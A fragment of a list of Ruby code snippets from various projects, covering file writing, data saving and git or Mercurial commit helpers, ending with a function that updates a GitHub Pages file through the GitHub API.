"def commit(message = '', author = User.from_config, committer = author)\n root.write\n\n commit = Commit.new(self)\n commit.tree = root\n commit.parent << head.id if head\n commit.author = author\n commit.committer = committer\n commit.message = message\n commit.write\n\n open(head_path, \"wb\") do |file|\n file.write(commit.id)\n end\n\n @head = commit\n end",
"def commit(message = '', author = nil, committer = nil)\n return if !root.modified?\n\n author ||= default_user\n committer ||= author\n root.save\n\n commit = Commit.new(:repository => self,\n :tree => root,\n :parents => head,\n :author => author,\n :committer => committer,\n :message => message)\n commit.save\n\n write_head_id(commit.id)\n load\n\n commit\n end",
"def save message\n raise NothingToCommitError if nothing_to_commit?\n @git.index.add_all\n @git.index.write\n usr = {name: @git.config['user.name'],\n email: @git.config['user.email'],\n time: Time.now}\n opt = {}\n opt[:tree] = @git.index.write_tree\n opt[:author] = usr\n opt[:committer] = usr\n opt[:message] = message\n opt[:parents] = unless @git.empty?\n begin\n [@git.head.target].compact\n rescue Rugged::ReferenceError\n []\n end\n else [] end\n opt[:update_ref] = 'HEAD'\n Rugged::Commit.create(@git, opt)\n end",
"def write_page(path, format, data, commit = {})\n write(merge_path_elements(nil, path, format), data, commit)\n end",
"def update(path, content)\n file = pathname(path)\n\n # fail if path is a dir or similar\n fail FileNotFound unless file.file?\n\n # get rid of CRLFs\n content.gsub!(/\\r\\n?/, \"\\n\")\n\n # don't do anything if the contents are identical\n return if file.read == content\n\n # write, add, commit\n file.write(content)\n git :add, path.shellescape\n git :commit, \"-m 'update #{path}' -- #{path.shellescape}\"\n end",
"def create path, body, merger = @options[:merger]\n # remove leading space\n body = body.to_s\n data = body.strip.gsub(/^#{body[/^[ \\t]*(?=\\S)/]}/, '') << \"\\n\"\n\n if File.exist? path\n old_digest = Digest::SHA1.digest(File.read(path))\n new_digest = Digest::SHA1.digest(data)\n\n if old_digest == new_digest\n notify :skip, path\n else\n notify :update, path\n cur, old, new = path, \"#{path}.old\", \"#{path}.new\"\n\n FileUtils.cp cur, old, :preserve => true\n File.write new, data\n\n system merger, old, new, cur if merger\n end\n else\n notify :create, path\n FileUtils.mkdir_p File.dirname(path)\n File.write path, data\n end\n end",
"def commit!(message, options={})\n now = Time.now\n \n sha = options.delete(:tree) || tree.write_to(self).at(1)\n parents = options.delete(:parents) || (head ? [head] : [])\n author = options[:author] || self.author\n authored_date = options[:authored_date] || now\n committer = options[:committer] || author\n committed_date = options[:committed_date] || now\n\n # commit format:\n #---------------------------------------------------\n # tree sha\n # parent sha\n # author name <email> time_as_int zone_offset\n # committer name <email> time_as_int zone_offset\n # \n # messsage\n # \n #---------------------------------------------------\n # Note there is a trailing newline after the message.\n #\n lines = []\n lines << \"tree #{sha}\"\n parents.each do |parent|\n lines << \"parent #{parent}\"\n end\n lines << \"author #{author.name} <#{author.email}> #{authored_date.strftime(\"%s %z\")}\"\n lines << \"committer #{committer.name} <#{committer.email}> #{committed_date.strftime(\"%s %z\")}\"\n lines << \"\"\n lines << message\n lines << \"\"\n \n @head = set('commit', lines.join(\"\\n\"))\n grit.update_ref(branch, head)\n \n head\n end",
"def commit(repopath, file, contents, message)\n # set up repo and index\n repo = Grit::Repo.new repopath\n index = Grit::Index.new repo\n # write file to repo\n fullpath = File.join repopath, file\n File.open(fullpath, 'wb') {|f| f.write contents}\n # commit file\n index.add file, contents\n parent = repo.commits.count > 0 ? [repo.commits.first] : nil\n index.commit message, parent\n end",
"def write_to_file(data)\n\t\t\tref = File.join(@root, \"tarrifs_\" + @page[:name])\n\n\t\t\tif File.exists?(ref)\n\t\t\t\tdiff = \"\"\n\t\t\t\tstatus = Open4::popen4(\"diff #{ref} -\") do |pid, stdin, stdout, stderr|\n\t\t\t\t\tstdin.puts data\n\t\t\t\t\tstdin.close\n\t\t\t\t\tdiff = stdout.read\n\t\t\t\tend\n\t\t\t\t#sent mail if content is different\n\t\t\t\tif status != 0\n\t\t\t\t\twrite \"change detected.\"\n\t\t\t\t\tnotify_changed_site(url, diff)\n\t\t\t\tend\n\t\t\tend\n\t\t\tFile.open(ref, \"w\") do |f|\n\t\t\t\tf.puts data\n\t\t\tend\n\t\tend",
"def update_file(uri, data, etag = Box.new)\n node = @tree.node_for_path(uri)\n\n # It is possible for an event handler to modify the content of the\n # body, before it gets written. If this is the case, modified\n # should be set to true.\n #\n # If modified is true, we must not send back an ETag.\n modified = Box.new(false)\n data = Box.new(data)\n\n return false unless emit('beforeWriteContent', [uri, node, data, modified])\n\n etag.value = node.put(data.value)\n etag.value = nil if modified.value\n\n emit('afterWriteContent', [uri, node])\n\n true\n end",
"def commit args = {}\n action = :deleted if self.deleted?\n action ||= self.is_new? ? :added : (self.is_changed? ? :updated : :nothing_to_commit) \n args[:skip_part_data] ||= false\n \n unless action.eql?(:nothing_to_commit)\n message = \"#{action} #{name}\"\n message = args[:m] if args[:m] \n if action.eql?(:deleted)\n repo.remove(self.file_name)\n self.history_count += 1\n else\n repo.add(self.file_name)\n end\n\n active_message = self.commit_messages[:most_recent]\n message = \"#{active_message.gsub(message,\"\")}\" unless self.deleted? || active_message.blank? || active_message.eql?(message)\n self.remove_message_from_temp_store(:most_recent) unless active_message.blank?\n \n repo.commit(message)\n self.last_commit = repo.log(self.local_path, :limit => 1).first.to_s\n end\n unless action.eql?(:deleted) \n self.part_count = parts.count\n self.part_count ||= 0 \n update_part_data unless args[:skip_part_data]\n\n self.history_count = self.history.size\n self.history_count = 1 if self.history_count.eql?(0) \n end\n self.save if self.changed?\n \n synchronize unless args[:dont_sync] || self.attributes[\"sync\"].blank? #rather than calling sync.blank? to skip the JSON parsing step.\n return action\n end",
"def save_file \n Grit.debug = true\n contents = params[:contents]\n message = params[:commit_message]\n @node = Node.new(:name => params[:name], :git_repo_id => params[:git_repo_id], :git_repo_path => params[:git_repo_path])\n save_file_to_disk(contents, @node.abspath)\n stage_and_commit_file(@node.repo_base_path, @node.git_repo_path, message)\n flash[:notice] = \"Created New Version\"\n render :action => :file\n end",
"def commit(author, message)\n GIT.add relative_path\n GIT.commit message, :author => \"#{ author.name } <#{ author.email }>\"\n end",
"def set_page(path, text, commit_id, email = 'unknown', sline =nil, eline = nil)\n\n cur_head = @repo.commits(@branch, 1).first\n cur_tree = @repo.tree @branch\n\n status = SETPAGE_OK\n\n if commit_id != ''\n # not new file\n\n text_blob = @repo.blob commit_id\n raise \"no path #{path}\" if ! text_blob.is_a? Grit::Blob\n cur_blob = cur_tree / path\n text_blob_data = text_blob.data.force_encoding('utf-8')\n\n if ! sline.nil? && ! eline.nil?\n text = _patch_part(text, text_blob_data, sline, eline)\n end\n\n if cur_blob.id != text_blob.id\n # collision: try append diff\n status = SETPAGE_MERGE_OK\n lmine = 'me'\n lorig = 'original'\n lyour = 'your-concurent-editor'\n newtext, diff3_status = Diff3.diff3(lmine, text,\n lorig, text_blob_data,\n lyour, cur_blob.data.force_encoding('utf-8'))\n\n case diff3_status\n when Diff3::MERGE_COLLISONS\n status = SETPAGE_MERGE_COLLISONS\n\n when Diff3::MERGE_FAIL\n # total fall back (never happens)\n status = SETPAGE_MERGE_DIFF\n diff = Grit::Commit.diff(@repo, text_blob.id, cur_blob.id).map {|d| d.diff}.join\n newtext = text + \"\\n= Collision =\\n{{{\\n#{diff}\\n}}}\\n\"\n end\n text = newtext\n end\n end\n\n index = Grit::Index.new(@repo)\n index.read_tree(cur_tree.id)\n index.add(path, text)\n\n if path =~ /\\.(wiki|txt)$/\n fstline = text.each_line.first.chomp.strip\n comment = \"file: #{path} head: #{fstline}\"\n else\n comment = \"file: #{path}\"\n end\n\n\n comment = comment.force_encoding('ASCII-8BIT')\n\n actor = Grit::Actor.from_string(email)\n\n id = index.commit(comment, parents: [cur_head], actor: actor, last_tree: cur_head, head: @branch)\n return status\n end",
"def save message\n Dir.chdir @root do\n cmd = \"git add --all && git commit -m \\\"#{message}\\\"\"\n stdout, stderr, status = Open3.capture3 cmd\n if status != 0\n if /nothing to commit/.match stdout\n raise NothingToCommitError\n elsif /Not a git repository/.match stderr\n raise NotARepositoryError\n else\n raise Error, stderr\n end\n end\n end\n end",
"def file(data, path)\n File.open(path, 'w') { |f| f << data }\n end",
"def add_to_file entry, content\n path = repo_path.join entry\n File.write path, content, :mode => \"a\"\n end",
"def write data, path\n\t\t\tcontent = \"\"\n\t\t\tfile_type = data.class.to_s\n\n\t\t\tif file_type == 'Array'\n\t\t\t\tdata.each do | line |\n\t\t\t\t\tline.each do | key, val |\n\t\t\t\t\t\tcontent << \"#{key.to_s}=#{val}\\n\"\n\t\t\t\t\tend\n\t\t\t\t\tcontent << \"\\n\"\n\t\t\t\tend\n\n\t\t\telsif file_type == 'Hash'\n\t\t\t\tdata.each do | key, val |\n\t\t\t\t\tcontent << \"#{key.to_s}=#{val}\\n\"\n\t\t\t\tend\n\t\t\tend\n\n\t\t\tpath = File.expand_path path\n\t\t\tFile.open(path, 'w+') do |f|\n\t\t\t\tf.write content\n\t\t\tend\n\t\tend",
"def write(path, data)\n\t\t@connection.write(path, data)\n\tend",
"def write( path, data )\n FileUtils.mkdir_p( File.dirname( path ) )\n File.open( path, 'w' ) do |f|\n f.write( data )\n end\n \n data.length\n end",
"def write_file(path=nil,data=nil)\n if path.class == String && data.class.method_defined?(:j_del) && block_given?\n @j_del.java_method(:writeFile, [Java::java.lang.String.java_class,Java::IoVertxCoreBuffer::Buffer.java_class,Java::IoVertxCore::Handler.java_class]).call(path,data.j_del,(Proc.new { |ar| yield(ar.failed ? ar.cause : nil) }))\n return self\n end\n raise ArgumentError, \"Invalid arguments when calling write_file(path,data)\"\n end",
"def put_file(path, data)\n raise NotImplemented\n end",
"def update\n @resource = params[:content]\n\n\t\tif params[:dir_path] == \"/\"\n\t\t\tparams[:dir_path]=\"\"\n\t\tend\n\n\t\tfile_path = \"#{params[:dir_path]}/#{params[:filename]}\"\n\n if File.open(file_path, 'w') {|f| f.write(params[:content]) }\n\t\t\tDir.chdir(params[:dir_path])\n\t\t\t@git = Git.init()\n\t\t\tGitHelper.commitAll(@git, params[\"comment\"])\n\n\t\t\trender json: {success: \"file successfully uploaded\"}\n else\n render json: { error: \"SOMETHING WENT WRONG SAVING RESOURCE\" }\n end\n end",
"def store(path, content, mode = 0o644)\n put_at(parse_path(path), content && repo.data_sha(content), mode)\n end",
"def update!(**args)\n @author = args[:author] if args.key?(:author)\n @commit_message = args[:commit_message] if args.key?(:commit_message)\n @paths = args[:paths] if args.key?(:paths)\n end",
"def update_commit_message(message)\n ::File.open(commit_message_file, 'w') do |file|\n file.write(message)\n end\n end",
"def commit(message)\n Dubya.logger.info \"Updating Git repository...\"\n system %(cd #{path} && git commit -am \"#{message}\" && git push)\n end",
"def write(data=nil,headers={})\n #raise SyntaxException, \"No data was provided for object '#{@name}'\" if (data.nil?)\n # Try to get the content type\n raise SyntaxException, \"No data or header updates supplied\" if (data.nil? and headers.empty?)\n if headers['Content-Type'].nil?\n type = MIME::Types.type_for(self.name).first.to_s\n if type.empty?\n headers['Content-Type'] = \"application/octet-stream\"\n else\n headers['Content-Type'] = type\n end\n end\n response = self.container.connection.cfreq(\"PUT\",@storagehost,\"#{@storagepath}\",headers,data)\n raise InvalidResponseException, \"Invalid content-length header sent\" if (response.code == \"412\")\n raise MisMatchedChecksumException, \"Mismatched etag\" if (response.code == \"422\")\n raise InvalidResponseException, \"Invalid response code #{response.code}\" unless (response.code == \"201\")\n make_path(File.dirname(self.name)) if @make_path == true\n self.populate\n true\n end",
"def write_file(dir, name, data)\n path = File.join(dir, name)\n File.open(path, 'w') do |f|\n f.write(data)\n end\n path\n end",
"def save(commit_msg = nil)\n # Add all changes to index (staging area)\n index = repo.index\n\n # Process config file (if loaded, i.e. may be modified)\n save_config_file(index) if @config\n\n # Process ssh keys (if loaded, i.e. may be modified)\n save_ssh_keys(index) if @ssh_keys\n\n # Write index to git and resync fs\n commit_tree = index.write_tree(repo)\n index.write\n\n author = commit_author.merge(time: Time.now)\n\n opts = {\n parents: [repo.head.target],\n tree: commit_tree,\n update_ref: 'HEAD',\n message: (commit_msg || @settings[:commit_msg]),\n author: author,\n committer: author\n }\n Rugged::Commit.create(repo, opts)\n end",
"def write_file(file_name, data, write_type = 'w')\n write_file_base(append_root_path(file_name), data, write_type)\n end",
"def commit_with_content(page, content, log = nil)\n escaped_page = escape(page)\n wiki = File.read(File.join(@data_path, \"text\", \".wiki\"))\n dir = File.join(@root, wiki, escaped_page).untaint\n revision = last_revision(page) + 1\n page_path = File.join(@data_path, \"text\", escaped_page).untaint\n FileUtils.mkdir_p(dir)\n FileUtils.rm_f(File.join(dir, \".removed\"))\n\n File.open(page_path, \"w+\") do |file|\n file.write(content)\n end\n FileUtils.cp(page_path, File.join(dir, revision.to_s))\n end",
"def save(directory, data, type = 'xml')\n return if directory == nil || data == nil\n \n begin\n # verify target directory\n Dir.chdir(path)\n Dir.mkdir(directory) unless File.directory?(directory)\n \n repo = File.join(path, directory)\n child = day_to_directory\n \n # verify actual target directory (day)\n Dir.chdir(repo)\n Dir.mkdir(child) unless File.directory?(child)\n repo = File.join(repo, child)\n \n # create absolute filename.\n filename = unixtime + SEPARATOR + directory + EXTENSION + type\n target = File.join(repo, filename)\n \n # create the file\n open(target, 'w') { |file| file << data }\n \n rescue Exception => error\n puts \"error: #{error.message}\" \n end\n end",
"def fast_export_commit(time)\n file_mark, file_text = fast_export_file\n stamp = fast_export_timestamp(time)\n parent = @commit_mark || initial_ref\n reset = @commit_mark ? '' : \"reset #{branch}\\n\"\n @commit_mark = next_mark\n return file_text + <<COMMIT\n#{reset}commit #{branch}\nmark #{@commit_mark}\nauthor #{fast_export_user} #{stamp}\ncommitter #{fast_export_user} #{stamp}\n#{fast_export_data 'Yay, a commit!'}\nfrom #{parent}\nM 100644 #{file_mark} yay_a_file.txt\nCOMMIT\nend",
"def write(data=nil, &block)\n mkdir_p dir\n open(fullpath, 'w') do |io|\n io.write data if data\n yield io if block_given?\n end\n end",
"def put_file(path, data, &b)\n path = Pathname.new(path).cleanpath\n dir = path.dirname\n filename = path.basename\n if fs.directory?(dir) and filename\n fs.put_file(path, data)\n yield data.size\n else\n yield false\n end\n end",
"def []=(path, entry)\n raise ArgumentError unless entry && (Reference === entry || GitObject === entry)\n path = normalize_path(path)\n if path.empty?\n raise 'Empty path'\n elsif path.size == 1\n raise 'No blob or tree' if entry.type != :tree && entry.type != :blob\n entry.repository = repository\n @modified = true\n @children[path.first] = entry\n else\n tree = @children[path.first]\n if !tree\n tree = @children[path.first] = Tree.new(:repository => repository)\n @modified = true\n end\n raise 'Not a tree' if tree.type != :tree\n tree[path[1..-1]] = entry\n end\n end",
"def atomic_write(data, path, name, options = {})\n main_file = File.join(path, name) + '.yml'\n dup_file = File.join(path, name) + '.yml2'\n \n # append verification info at the end of the file to guard from incomplete writes\n ts = Time.now\n ts_checksum = Digest::MD5.hexdigest(\"#{ts.tv_sec}.#{ts.tv_usec}\")\n if options[:owner]\n # secure the file\n File.open(dup_file, 'w').close\n uid = uid_for_username options[:owner]\n gid = gid_for_username options[:owner]\n File.chown uid, gid, dup_file\n File.chmod options[:permissions] || 0660, dup_file\n end\n File.open(dup_file, 'w') { |f| YAML::dump [data, ts.tv_sec, ts.tv_usec, ts_checksum], f }\n \n # move the file atomically to the main copy\n FileUtils.mv(dup_file, main_file)\n end",
"def commit(name, message)\n git = git(name)\n\n git.config('user.name', GIT_AUTHOR[:name])\n git.config('user.email', GIT_AUTHOR[:email])\n\n git.add(all: true)\n git.commit(message)\n end",
"def write_file(data, name)\n raise WebthumbException.new('No data given') if data == nil || data.size == 0\n File.open(name, 'wb+') do |file|\n file.write(data)\n file.close\n file\n end\n end",
"def push_file(path, filedata)\n @bridge.push_file(path, filedata)\n end",
"def push_file(path, filedata)\n @bridge.push_file(path, filedata)\n end",
"def create\n data =params[:data]\n\n resource = ActiveSupport::JSON.decode(data)\n @repo = Repository.find(resource[\"repo_id\"])\n dir_path = resource[\"dirPath\"];\n post = DataFile.save(params['file'], @repo.path+dir_path)\n\n\t\t@git = GitHelper.init(@repo.path, current_user.email, current_user.name)\n\t\tGitHelper.commitAll(@git, resource[\"comment\"])\n\n\t\trender json: {success: \"file uploaded\"}\n end",
"def commit(newrevision, content_io=nil)\n if not get_indexfile_with_revision(newrevision).nil?\n raise \"Committing already-existing revision: #{newrevision} for #{@fname}\"\n end\n if content_io.nil?\n compress_file_lines = Deflate.deflate(File.read(@fname))\n else\n cont = content_io.read\n compress_file_lines = Deflate.deflate(cont)\n end\n\n # append current file fname to datafile\n length = IO.readlines(@datafile).size\n\n File.open(@datafile, \"a\") do |append|\n append.puts compress_file_lines\n end\n length = IO.readlines(@datafile).size - length\n\n # new version is the old version plus 1\n # new offset is the last length + last offset\n parse_last_line = parse_indexfile_line get_indexfile_with_line(-1)\n new_offset = parse_last_line[1] + parse_last_line[2]\n\n File.open(@indexfile, \"a\") do |f|\n index_write_row(f, newrevision.to_s,\n new_offset.to_s, length.to_s)\n end\n end",
"def update\n parse_path\n validate_path!\n\n if params.include?(:dir)\n @path.mkdir\n elsif params.include?(:file)\n @path.mv_from(params[:file].tempfile)\n elsif params.include?(:touch)\n @path.touch\n else\n content = request.body.read\n\n # forcing utf-8 because File.write seems to require it. request bodies are\n # in ASCII-8BIT and need to be re encoded otherwise errors are thrown.\n # see test cases for plain text, utf-8 text, images and binary files\n content.force_encoding('UTF-8')\n\n @path.write(content)\n end\n\n render json: {}\n rescue => e\n render json: { error_message: e.message }\n end",
"def add_file entry, content = nil\n path = repo_path.join entry\n dir, filename = path.split unless entry.end_with? \"/\"\n\n FileUtils.mkdir_p dir.to_s == '.' ? repo_path : dir\n FileUtils.touch path if filename\n File.write path, content if filename && content\n end",
"def save(data: content, name: subject + '.html')\n filename = 'tmp/' + name\n\n File.open(filename, 'w+') do |f|\n f.write(data)\n end\n end",
"def update_path(path)\n return path_nodes(path).insert(1, \"data\").join(\"/\") if path_nodes(path)[1] != \"data\"\n\n path\n end",
"def save!; File.write @path, @data end",
"def set_data(path, data = \"\", version = -1)\n unless path_exists?(path)\n create_path_recursively(path)\n end\n\n bytes = to_byte_array(data)\n begin\n @zk.set_data(path, bytes, version)\n rescue\n puts \"#$!\"\n end\n end",
"def stage_and_commit_file(repo_base_path, relpath_to_file, commit_message = nil)\n commit_message = \"Updated #{relpath_to_file} via website\" unless !commit_message.blank?\n gitRepo = Repo.new(repo_base_path)\n olddir = Dir.pwd\n Dir.chdir(repo_base_path)\n gitRepo.add(relpath_to_file)\n gitRepo.commit_index(commit_message)\n Dir.chdir(olddir)\n end",
"def commit(opts = {:use_dirstate => true, :update_dirstate => true})\n valid = false # don't update the DirState if this is set!\n \n commit = ((modified || []) + (added || [])).sort\n remove = removed\n xtra = extra.dup\n branchname = xtra[\"branch\"]\n text = description\n \n p1, p2 = parents.map {|p| p.node }\n c1 = repo.changelog.read(p1) # 1 parent's changeset as an array\n c2 = repo.changelog.read(p2) # 2nd parent's changeset as an array\n m1 = repo.manifest.read(c1[0]).dup # 1st parent's manifest\n m2 = repo.manifest.read(c2[0]) # 2nd parent's manifest\n \n if opts[:use_dirstate]\n oldname = c1[5][\"branch\"]\n tests = [ commit.empty?, remove.empty?, !opts[:force],\n p2 == NULL_ID, branchname == oldname ]\n if tests.all?\n UI::status \"nothing changed\"\n return nil\n end\n end\n \n xp1 = p1.hexlify\n xp2 = p2 == NULL_ID ? \"\" : p2.hexlify\n \n Hook.run_hook :pre_commit\n journal = Amp::Mercurial::Journal.new(:opener => repo.store_opener)\n \n fresh = {} # new = reserved haha i don't know why someone wrote \"haha\"\n changed = []\n link_rev = repo.size\n \n (commit + (remove || [])).each {|file| UI::status file }\n \n # foreach file in commit:\n # commit_file file\n # end\n commit.each do |file|\n versioned_file = self[file]\n fresh[file] = versioned_file.commit :manifests => [m1, m2],\n :link_revision => link_rev,\n :journal => journal ,\n :changed => changed\n \n new_flags = versioned_file.flags\n \n # TODO\n # Clean this shit up\n if [ changed.empty? || changed.last != file, \n m2[file] != fresh[file]\n ].all?\n changed << file if m1.flags[file] != new_flags\n end\n m1.flags[file] = new_flags\n \n repo.staging_area.normal file if opts[:use_dirstate]\n end\n \n # add_manifest_entry\n man_entry, updated, added = *add_manifest_entry(:manifests => [m1, m2],\n :changesets => [c1, c2],\n :journal => journal ,\n :link_rev => link_rev,\n :fresh => fresh ,\n :remove => remove ,\n :changed => changed )\n\n # get_commit_text\n text = get_commit_text text, :added => added, :updated => updated,\n :removed => removed, :user => user ,\n :empty_ok => opts[:empty_ok] ,\n :use_dirstate => opts[:use_dirstate]\n \n # atomically write to the changelog\n # add_changelog_entry\n # for the unenlightened, rents = 'rents = parents\n new_rents = add_changelog_entry :manifest_entry => man_entry,\n :files => (changed + removed),\n :text => text,\n :journal => journal,\n :parents => [p1, p2],\n :user => user,\n :date => date,\n :extra => xtra\n \n \n # Write the dirstate if it needs to be updated\n # basically just bring it up to speed\n if opts[:use_dirstate] || opts[:update_dirstate]\n repo.dirstate.parents = new_rents\n removed.each {|f| repo.dirstate.forget(f) } if opts[:use_dirstate]\n repo.staging_area.save\n end\n \n # The journal and dirstates are awesome. Leave them be.\n valid = true\n journal.close\n \n # if an error and we've gotten this far, then the journal is complete\n # and it deserves to stay (if an error is thrown and journal isn't nil,\n # the rescue will destroy it)\n journal = nil\n \n # Run any hooks\n Hook.run_hook :post_commit, :added => added, :modified => updated, :removed => removed, \n :user => user, :date => date, :text => text,\n :revision => repo.changelog.index_size\n return new_rents\n rescue StandardError => e\n if !valid\n repo.dirstate.invalidate!\n end\n if e.kind_of?(AbortError)\n UI::warn \"Abort: #{e}\"\n else\n UI::warn \"Got exception while committing. #{e}\"\n UI::warn e.backtrace.join(\"\\n\")\n end\n \n # the journal is a vestigial and incomplete file.\n # destroyzzzzzzzzzzz\n journal.delete if journal\n end",
"def notebook_commit(revtype, notebook, user, message)\n return nil unless GalleryConfig.storage.track_revisions\n if GalleryConfig.storage.database_notebooks\n commit_id = Digest::SHA1.hexdigest(notebook.content + user.user_name + message + notebook.uuid + DateTime.current.to_s)\n notebookFile = NotebookFile.new(save_type: \"revision\", content: notebook.content, uuid: notebook.uuid)\n else\n commit_id = GitRepo.add_and_commit(notebook, message)\n end\n rev = Revision.from_notebook(notebook, revtype, commit_id, user)\n rev.save\n if GalleryConfig.storage.database_notebooks\n notebookFile.revision_id = rev.id\n notebookFile.save\n end\n commit_id\n end",
"def write_entry(index_file, entry, journal, data)\n curr = self.size - 1\n \n node_map[entry.last] = curr\n \n link = entry.link_rev\n data_file = index_file[0..-3] + \".d\"\n \n entry = pack_entry entry, link\n \n data_file_handle = open(data_file, \"a\")\n index_file_handle = open(index_file, \"a+\")\n \n journal << {:file => data_file, :offset => offset}\n journal << {:file => index_file, :offset => curr * entry.size}\n \n data_file_handle.write data[:compression] if data[:compression].any?\n data_file_handle.write data[:text]\n \n data_file_handle.flush\n index_file_handle.write entry\n end",
"def commit(file, message)\n git 'commit', '-m', message, file\n end",
"def commit(file, message)\n git 'commit', '-m', message, file\n end",
"def commit_file(revision)\n c = @gerrit.commit(@id, revision)\n file = []\n file += c['parents'].map do |parent|\n \"Parent: #{parent['commit'][0..6]} (#{parent['subject']})\"\n end\n file += %w(committer author).map do |t|\n [\n \"#{t.capitalize}: #{c[t]['name']} <#{c[t]['email']}>\",\n \"#{t.capitalize}Date: #{c[t]['date']}\"\n ]\n end.flatten\n file << ''\n file << c['message']\n file.join(\"\\n\")\n end",
"def commit(file, message)\n hg 'commit', '-m', message, file\n end",
"def save\n repository.create_contents(path, \"Upload #{path}\", content)\n end",
"def commit\n @commit ||= $repo.log.object(@rev || 'master').path(@name).first\n end",
"def get_file(path)\n file = path[1..-1]\n case path\n when '/CURRENT_REVISION'\n change['revisions'][change['current_revision']]['_number']\n when '/COMMIT_MSG'\n commit_file(change['current_revision'])\n when '/.0_COMMIT_MSG'\n ''\n when /\\.(\\d+)_COMMIT_MSG/\n commit_file(Regexp.last_match(1)) # TODO: handle commit like a normal file (with comments for instance)\n when /\\.(\\d+)_(.*)$/\n revision = Regexp.last_match(1).to_i\n filename = file_from_sanitized(Regexp.last_match(2))\n content = get_ab_file(Regexp.last_match(2), revision)\n FileWithComments.new(Regexp.last_match(2),\n content,\n comments(filename, revision),\n comments(filename, revision, draft: true))\n else\n \"Nothing in there, see .xx_#{file} with xx the patchset version\\n\"\n end\n end",
"def patch(*args, &block)\n options = Map.options_for!(args)\n\n user = options[:user] || ENV['USER'] || 'ro'\n msg = options[:message] || \"#{ user } edits on #{ File.basename(@root).inspect }\"\n add = options.has_key?(:add) ? options[:add] : true\n\n patch = nil\n\n Thread.exclusive do\n @root.lock do\n Dir.chdir(@root) do\n # ensure .git-ness\n #\n status, stdout, stderr = spawn(\"git rev-parse --git-dir\", :raise => true, :capture => true)\n\n git_root = stdout.to_s.strip\n\n dot_git = File.expand_path(git_root)\n\n unless test(?d, dot_git)\n raise Error.new(\"missing .git directory #{ dot_git }\")\n end\n\n # calculate a tmp branch name\n #\n time = Coerce.time(options[:time] || Time.now).utc.iso8601(2).gsub(/[^\\w]/, '')\n branch = \"#{ user }-#{ time }-#{ rand.to_s.gsub(/^0./, '') }\"\n\n # allow block to edit, compute the patch, attempt to apply it\n #\n begin\n # get pristine\n #\n spawn(\"git checkout -f master\", :raise => true)\n spawn(\"git fetch --all\", :raise => true)\n spawn(\"git reset --hard origin/master\", :raise => true)\n\n # pull recent changes\n #\n trying('to pull'){ spawn(\"git pull origin master\") }\n\n # create a new temporary branch\n #\n spawn(\"git checkout -b #{ branch.inspect }\", :raise => true)\n\n # the block can perform arbitrary edits\n #\n block.call\n\n # add all changes - additions, deletions, or modifications - unless :add => false was specified\n #\n if add\n spawn(\"git add . --all\", :raise => true)\n end\n\n # commit if anything changed\n #\n changes_to_apply =\n spawn(\"git commit -m #{ msg.inspect }\")\n\n if changes_to_apply\n # create the patch\n #\n status, stdout, stderr =\n spawn(\"git format-patch master --stdout\", :raise => true, :capture => true)\n\n patch = Patch.new(:data => stdout, :name => branch)\n\n unless stdout.to_s.strip.empty?\n # apply the patch\n #\n spawn(\"git checkout master\", :raise => true)\n\n #\n spawn(\"git rebase --abort\")\n spawn(\"git am --abort\")\n\n spawn(\"git am --abort\")\n spawn(\"git rebase --abort\")\n\n #\n status, stdout, stderr =\n spawn(\"git am --signoff --3way --ignore-space-change --ignore-whitespace\", :capture => true, :stdin => patch.data)\n\n #\n patch.applied = !!(status == 0)\n\n # commit the patch back to the repo\n #\n patch.committed =\n begin\n trying('to pull'){ spawn(\"git pull origin master\") }\n trying('to push'){ spawn(\"git push origin master\") }\n true\n rescue Object\n false\n end\n end\n end\n ensure\n # get pristine\n #\n spawn(\"git checkout -f master\", :raise => true)\n spawn(\"git fetch --all\", :raise => true)\n spawn(\"git reset --hard origin/master\", :raise => true)\n\n spawn(\"git am --abort\")\n spawn(\"git rebase --abort\")\n\n # get changes\n #\n trying('to pull'){ spawn(\"git pull\") }\n\n # nuke the tmp branch\n #\n if patch and patch.applied and patch.committed\n spawn(\"git branch -D #{ branch.inspect }\")\n end\n end\n end\n end\n end\n\n patch\n end",
"def create_commit_msg(commit_msg_path, for_commit)\n File.open(commit_msg_path, 'w') do |file|\n file.puts(\"Automatic documentation update\\n\")\n file.puts(\"- Generated for #{for_commit}.\")\n end\n end",
"def commit(upload_href, data, opts = {})\n data, _status_code, _headers = commit_with_http_info(upload_href, data, opts)\n data\n end",
"def commit(msg=status)\n setup unless head\n \n sha = git.commit(msg)\n index.write(sha)\n sha\n end",
"def add_default_commit_data commit_data\n file_name = \"default_file_name_#{SecureRandom.urlsafe_base64}\"\n commit_data.clone.reverse_merge(\n file_name: file_name,\n message: 'default commit message',\n location: 'local and remote',\n branch: current_branch_name,\n file_content: default_file_content_for(commit_data[:file_name] || file_name)\n )\nend",
"def save_commit_info(sha)\n unless File.directory?(File.dirname(commit_info_file))\n FileUtils.mkdir_p(File.dirname(commit_info_file))\n end\n File.write(commit_info_file, sha)\n end",
"def commit!(msg=status)\n setup unless head\n \n sha = git.commit!(msg)\n index.write(sha)\n sha\n end",
"def build_file(repo_rel_path, entry)\n full_path = repo_rel_path.join(entry)\n content = file_content(full_path)\n\n File.write(full_path, content)\n end",
"def update!(**args)\n @author_name = args[:author_name] if args.key?(:author_name)\n @children = args[:children] if args.key?(:children)\n @date = args[:date] if args.key?(:date)\n @docid = args[:docid] if args.key?(:docid)\n @parent = args[:parent] if args.key?(:parent)\n end",
"def update_file(login, token, fileContent, sha)\n begin\n uri = URI('https://api.github.com/repos/'+ login + '/evil1.github.io/contents/powr/index.html')\n putParams = { \"message\" => \"Inserted script into head and body sections\",\n \"committer\" => {\n \"name\" => \"Dmitriy Gritsenko\",\n \"email\" => \"evil1@inbox.ru\"\n },\n \"content\" => Base64.encode64(fileContent),\n \"sha\" => sha\n }\n\n req = Net::HTTP::Put.new(uri)\n req['Authorization'] = 'token ' + token\n req['Accept'] = 'application/json'\n req.body = ActiveSupport::JSON.encode putParams\n\n http = Net::HTTP.new(uri.host, uri.port)\n http.use_ssl = true\n res = http.request(req)\n\n case res\n when Net::HTTPSuccess, Net::HTTPRedirection\n # OK\n response = { 'success' => true, 'message' => res.body }\n else\n response = { 'success' => false, 'message' => 'Error updating file: ' + res.value }\n end\n\n rescue Exception => ex\n response = { 'success' => false, 'message' => 'Error updating file: ' + ex.message }\n end\n\n return response\n end",
